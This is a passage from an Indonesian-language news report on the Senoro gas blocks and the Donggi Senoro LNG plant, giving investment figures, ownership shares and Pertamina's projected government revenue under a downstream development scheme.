Di bagian hulu dengan perkiraan investasi sebesar dua miliar dolar AS berupa eksplorasi dan produksi gas di dua blok yakni Senoro-Toili dan Matindok. Blok Senoro dimiliki PT Pertamina Hulu Energi Tomori Sulawesi dan PT Medco Tomori dengan saham masing-masing 50 persen. Sedang, Matindok dimiliki PT Pertamina EP sebesar 100 persen. Bagian hilir senilai 1,7 miliar dolar berupa pembangunan kilang LNG dengan kapasitas 2,1 juta ton per tahun. Kilang dimiliki PT Donggi Senoro LNG (DSLNG) yang merupakan konsorsium perusahaan terdiri atas Mitsubishi Co dengan porsi sebesar 51 persen, Pertamina 29 persen, dan PT Medco Energi Internasional 20 persen. Proyek Senoro dikembangkan dengan pola hilir (downstream)

Dengan skenario tersebut, maka pengembangan hulu terpisah dari hilir, sehingga pemerintah tidak terbebani pengembalian biaya operasi (cost recovery) untuk investasi kilang LNG. Pertamina menghitung, skenario hilir akan menambah pendapatan pemerintah 6,4 miliar dolar AS pada harga minyak Japan Cocktail Crude (JCC) 70 dolar AS per barel selama 15 tahun operasi atau 430 juta dolar per tahun.